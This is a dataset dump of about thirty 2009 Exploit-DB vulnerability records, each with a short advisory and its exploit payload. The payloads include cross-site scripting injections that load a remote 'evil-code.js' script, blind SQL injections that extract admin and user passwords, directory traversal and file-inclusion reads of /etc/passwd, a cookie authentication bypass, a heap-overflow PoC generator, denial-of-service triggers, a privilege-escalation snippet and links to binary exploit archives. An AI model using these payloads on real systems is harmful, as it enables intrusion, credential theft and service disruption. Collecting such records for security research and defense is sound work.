QLWD/code_shield huggingface dataset:
标题: Novell QuickFinder Server - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32795 CVE: 2009-0611 类型: REMOTE 平台: NOVELL 发布日期: 2009-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/33708/info

Novell QuickFinder Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

"add virtual server"

https://server:2200/qfsearch/AdminServlet?&req=displayaddsite

Post:
siteloc=%22%3E%3Cscript%20src=http://www.example2.com/scripts/evil-code.js%3E%3C/script%3E

"Default"

Post:
https://server:2200/qfsearch/AdminServlet?site=globalsearchsite&req=generalproperties
site="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script>

"services, synchronization"

Post:
https://server:2200/qfsearch/AdminServlet?&req=clusterserviceproperties
site="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script>


Querystring:

https://server2200/qfsearch/AdminServlet?&req=global&adminurl="><script 
src=http://www.www.example2.com/scripts/evil-code.js></script> URL: https://www.exploit-db.com/exploits/32795
标题: Banking@Home 2.1 - 'login.asp' Multiple SQL Injections EDB-ID: 32797 CVE: 2009-0741 类型: WEBAPPS 平台: ASP 发布日期: 2009-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/33721/info

Banking@Home is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Banking@Home 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/document_root/Login.asp?LoginName='Some_SQL_Stuff&Password=&submit=Login URL: https://www.exploit-db.com/exploits/32797
标题: Swann DVR4 SecuraNet - Directory Traversal EDB-ID: 32796 CVE: 2009-0640 类型: REMOTE 平台: LINUX 发布日期: 2009-02-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/33716/info

Swann DVR4 SecuraNet is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/../../var/run/vy_netman.cfg URL: https://www.exploit-db.com/exploits/32796
标题: FotoWeb 6.0 - 'Grid.fwx?search' Cross-Site Scripting EDB-ID: 32783 CVE: 2009-0573 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/33677/info
 
FotoWeb is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
 
FotoWeb 6.0 is vulnerable; other versions may also be affected.

http://www.example.com/fotoweb/Grid.fwx?&search=<script>alert("0wn3dâ?)</script> and (FQYFT
contains(JPEG)) URL: https://www.exploit-db.com/exploits/32783
标题: FotoWeb 6.0 - 'Login.fwx?s' Cross-Site Scripting EDB-ID: 32782 CVE: 2009-0573 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/33677/info

FotoWeb is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

FotoWeb 6.0 is vulnerable; other versions may also be affected.

http://www.example.com/fotoweb/cmdrequest/Login.fwx?s="><script>alert(â??0wn3dâ?)</script> URL: https://www.exploit-db.com/exploits/32782
标题: glFusion 1.1 - Anonymous Comment 'Username' HTML Injection EDB-ID: 32784 CVE: 2009-0455 类型: WEBAPPS 平台: PHP 发布日期: 2009-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/33683/info

glFusion is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

glFusion 1.1.0 and 1.1.1 are vulnerable; other versions may also be affected. 

POST /comment.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-
application, */*
Accept-Language: da
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding:
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.glfusion.org
Pragma: no-cache
Connection: Keep-Alive
sid=fileid_20&pid=0&type=filemgmt&_glsectoken=&comment=&uid=1&username=Anonymous+Use
r%22%3e%3csCrIpT%3ealert(1234)%3c%2fsCrIpT%3e&title=Hello&comment=Hello&comment_h
tml=Hello&postmode=html&captcha=47TXJC&csid=49816d4bcd4b&mode=Submit+Comment URL: https://www.exploit-db.com/exploits/32784
标题: QIP 2005 - Malformed Rich Text Message Remote Denial of Service EDB-ID: 32774 CVE: 2009-0769 类型: DOS 平台: MULTIPLE 发布日期: 2009-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/33609/info

QIP 2005 is prone to a remote denial-of-service vulnerability.

Exploiting this issue may allow attackers to cause the application to hang and consume excessive computer resources, denying service to legitimate users.

NOTE: This issue may occur in a third-party component used by QIP 2005, but this has not been confirmed.

This issue affects QIP 2005 build 8082; other versions may also be vulnerable.

{\rtf\pict\&&} URL: https://www.exploit-db.com/exploits/32774
标题: Kaspersky (Multiple Products) - 'klim5.sys' Local Privilege Escalation EDB-ID: 32771 CVE: 2009-0449 类型: LOCAL 平台: WINDOWS 发布日期: 2009-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/33561/info

Multiple Kaspersky products are prone to a local privilege-escalation vulnerability because the applications fail to perform adequate boundary checks on user-supplied data.

A local attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions in the following product groups:

Kaspersky AV 2008
Kaspersky AV for WorkStations 6.0 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32771.zip URL: https://www.exploit-db.com/exploits/32771
标题: Linux Kernel 2.6.x - 'make_indexed_dir()' Local Denial of Service EDB-ID: 32775 CVE: 2009-0746 类型: DOS 平台: LINUX 发布日期: 2009-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/33618/info

The Linux kernel is prone to a local denial-of-service vulnerability because it fails to properly handle malformed filesystem images.

Attackers can exploit this issue to cause the kernel to crash, denying service to legitimate users. Note that to exploit this issue, attackers must be able to mount appropriate filesystem types, which may require membership in a privileged group or root access.

This issue affects versions prior to Linux kernel 2.6.27.14.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32775.gz URL: https://www.exploit-db.com/exploits/32775
标题: Nokia MultiMedia Player 1.1 - '.m3u' Heap Buffer Overflow EDB-ID: 32772 CVE: 2009-0734 类型: DOS 平台: WINDOWS 发布日期: 2009-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/33586/info

Nokia Multimedia Player is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

Nokia Multimedia Player 1.1 is vulnerable; other versions may also be affected. 

# Nokia Multimedia Player version 1.1 .m3u Heap Overflow PoC exploit
# by 0in aka zer0in from Dark-Coders Group! [0in.email[at]gmail.com] / 0in[at]dark-coders.pl]
#   http://www.Dark-Coders.pl
#   Special thx to doctor ( for together analyse this shi*) and sun8hclf ( for tell me.. "to unicode.")
#   Greetings to: Die,m4r1usz,cOndemned (;> ?),joker,chomzee,TBH
#       Nokia Multimedia Player is a element of Nokia PC Suite packet.
#       DOWNLOAD:http://europe.nokia.com/A4144905
#           Vuln:
#                   This is heap overflow vuln, we can control EAX & EDI registers
#                   (on my Windows XP sp3) with UNICODE chars...
#           DEBUG:
#                       "Access violation when reading [00130013]" 
#                        EAX 00130013  <- ! 
#                        EDX 00000000
#                        EBX 00970000
#                        ESP 0012F96C
#                        EBP 0012FB8C
#                        ESI 00AD26B0
#                        EDI 00900011  <- ! 
#                        EIP 7C910CB0 ntdll.7C910CB0
#!/usr/bin/python
eax="\x13\x13" # eax : 00130013
edi="\x11\x90"  # edi : 00900011
buf="F"*261
buf+=edi+eax
buf+="B"*235
file_name="spl0.m3u"
ce=buf
f=open(file_name,'w')
f.write(ce)
f.close()
print 'PoC created!' URL: https://www.exploit-db.com/exploits/32772
标题: Cisco IOS 12.4(23) - HTTP Server Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32776 CVE: 2009-0470 类型: REMOTE 平台: HARDWARE 发布日期: 2009-02-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/33625/info

Cisco IOS HTTP Server is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials. The attacker may also perform cross-site request-forgery attacks on the same scripts and parameters. Other attacks may also be possible.

Note that this issue may be related to an issue described in BID 33260 (Cisco IOS HTTP Server Multiple Cross Site Scripting Vulnerabilities).

Cisco IOS 12.4(23) is vulnerable; other versions may also be affected.

http://www.example.com/level/15/exec/-/"><body onload=alert("bug")> http://www.example.com/exec/"><body onload="alert('bug');"> URL: https://www.exploit-db.com/exploits/32776
标题: Autonomy Ultraseek - 'cs.html' Open Redirection EDB-ID: 32766 CVE: 2009-0347 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/33500/info

Autonomy Ultraseek is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks.

http://www.example.com/cs.html?url=http://www.example2.com URL: https://www.exploit-db.com/exploits/32766
标题: Apple Safari For Windows 3.2.1 - URI Remote Denial of Service EDB-ID: 32761 CVE: 2009-0321 类型: DOS 平台: WINDOWS 发布日期: 2009-01-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/33481/info

Apple Safari is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 3.2.1 for Windows is vulnerable; other versions may also be affected. 

# !/usr/bin/perl
# Safari_httpDoSPoc.pl
# Safari for Windows 3.2.1 Remote http: uri handler DoS
# Lostmon [Lostmon@gmail.com ]
#[http://lostmon.blogspot.com]


$archivo = $ARGV[0];
if(!defined($archivo))
{

print "Uso: $0 <archivo.html>\n";

}

$cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title>
<body>" . "\n";
$codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3>
<P>This PoC is a malformed http URI, this causes that safari for windows<br>
turn inestable and unresponsive.<br>
Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a>
";
$piepag = "</body></html>";

$datos = $cabecera . $codigo . $piepag;

open(FILE, '>' . $archivo);
print FILE $datos;
close(FILE);

exit; URL: https://www.exploit-db.com/exploits/32761
标题: PHP 5.2.5 - 'mbstring.func_overload' WebServer Denial of Service EDB-ID: 32769 CVE: 2009-0754 类型: DOS 平台: PHP 发布日期: 2009-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/33542/info

PHP is prone to a denial-of-service vulnerability because it fails to limit global scope for certain settings relating to Unicode text operations.

Attackers can exploit this issue to crash the affected webserver, denying service to legitimate users. 

<?php
        $v = 'Òîâà å òåñò|test.php';
        print substr($v,0,strpos($v,'|'));
?> URL: https://www.exploit-db.com/exploits/32769
标题: OpenX 2.6.2 - 'MAX_type' Local File Inclusion EDB-ID: 32759 CVE: 2009-0291 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/33458/info

OpenX is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process. This may aid in further attacks.

OpenX 2.6.3 is affected; other versions may also be vulnerable.

http://www.example.com/www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/32759
标题: NewsCMSLite - Insecure Cookie Authentication Bypass EDB-ID: 32760 CVE: 2009-0300 2006-2636 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/33467/info

NewsCMSLite is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks. 

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/" URL: https://www.exploit-db.com/exploits/32760
标题: PHP-Nuke Downloads Module - 'url' SQL Injection EDB-ID: 32747 CVE: 2009-0302 2005-3304 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/33410/info

The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Admin Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+a
id+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Admin Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+p
wd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*

Users Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*

Users Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F* URL: https://www.exploit-db.com/exploits/32747
标题: OBLOG - 'err.asp' Cross-Site Scripting EDB-ID: 32750 CVE: 2009-0283 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/33416/info

OBLOG is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/oblog/err.asp?message=xss URL: https://www.exploit-db.com/exploits/32750
标题: Apache JackRabbit 1.4/1.5 Content Repository (JCR) - 'swr.jsp?q' Cross-Site Scripting EDB-ID: 32742 CVE: 2009-0026 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/33360/info
 
Apache Jackrabbit is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Apache Jackrabbit 1.5.2 are vulnerable. 

http://www.example.com/swr.jsp?q=%25"<script>alert(1)</script>&swrnum=1 URL: https://www.exploit-db.com/exploits/32742
标题: BBSXP 5.13 - 'error.asp' Cross-Site Scripting EDB-ID: 32748 CVE: 2009-0285 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/33411/info

BBSXP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BBSXP 5.13 and prior are vulnerable.

http://www.example.com/bbs/error.asp?message=xss URL: https://www.exploit-db.com/exploits/32748
标题: Pidgin 2.4.2 - 'msn_slplink_process_msg()' Denial of Service EDB-ID: 32749 CVE: 2008-2955 类型: DOS 平台: LINUX 发布日期: 2009-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/33414/info

Pidgin is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

Successful exploits will cause the affected application to crash, effectively denying service to legitimate users.

Pidgin 2.4.1 is vulnerable; other versions may also be affected.

NOTE: This issue was previously thought to be a subset of the vulnerability documented in BID 29956 (Pidgin 'msn_slplink_process_msg()' Multiple Integer Overflow Vulnerabilities), but has been given its own record to properly document the vulnerability. 

Sending a filename that contains the maximum number of allowable characters and that includes the characters defined by the hex data below will crash the application.

'26 23 38 32 32 37 3b 20 26 23 38 32 32 38 3b 20 26 23 38 32 32 39 3b 20 85' URL: https://www.exploit-db.com/exploits/32749
标题: Apache JackRabbit 1.4/1.5 Content Repository (JCR) - 'search.jsp?q' Cross-Site Scripting EDB-ID: 32741 CVE: 2009-0026 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/33360/info

Apache Jackrabbit is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Apache Jackrabbit 1.5.2 are vulnerable. 

http://www.example.com/search.jsp?q=%25%22%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32741
标题: MoinMoin 1.8 - 'AttachFile.py' Cross-Site Scripting EDB-ID: 32746 CVE: 2009-0260 类型: WEBAPPS 平台: CGI 发布日期: 2009-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/33365/info

MoinMoin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to MoinMoin 1.8.1 are vulnerable.

http://www.example.com/moinmoin/WikiSandBox?rename="><script>alert('rename xss')</script>&action=AttachFile&drawing="><script>alert('drawing xss')</script> URL: https://www.exploit-db.com/exploits/32746
标题: Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation EDB-ID: 32751 CVE: 2009-0343 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2009-01-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/33417/info

Systrace is prone to a local privilege-escalation vulnerability.

A local attacker may be able to exploit this issue to bypass access control restrictions and make unintended system calls, which may result in an elevation of privileges.

Versions prior to Systrace 1.6f are vulnerable.
*/

int
main(int argc, const char* argv[])
{
  /* Syscall 1 is exit on i386 but write on x86_64. */
  asm volatile("movl $1, %eax\n"
               "int $0x80\n");
  for (;;);
} URL: https://www.exploit-db.com/exploits/32751
标题: Blog Manager - 'ItemID' SQL Injection EDB-ID: 32735 CVE: 2009-0339 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/33314/info

DMXReady Blog Manager is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=121&ItemID=[SQL]&action=view URL: https://www.exploit-db.com/exploits/32735
标题: Blog Manager - 'categoryId' Cross-Site Scripting EDB-ID: 32736 CVE: 2009-0338 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/33314/info
 
DMXReady Blog Manager is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/[Path]/inc_webblogmanager.asp?CategoryID=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&ItemID=1&action=refer URL: https://www.exploit-db.com/exploits/32736
标题: Dark Age CMS 2.0 - 'login.php' SQL Injection EDB-ID: 32724 CVE: 2009-0326 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/33271/info

Dark Age CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dark Age CMS 0.2c beta is vulnerable; other versions may also be affected. 

The following example data is available:

Username: x' OR 'x' = 'x'#
Password: anything URL: https://www.exploit-db.com/exploits/32724
标题: LinksPro - 'OrderDirection' SQL Injection EDB-ID: 32729 CVE: 2009-0431 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/33305/info
  
LinksPro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/default.asp?QS=True&OrderDirection='[SQL]&OrderField=codefixerlp_tblLink_flddateadded URL: https://www.exploit-db.com/exploits/32729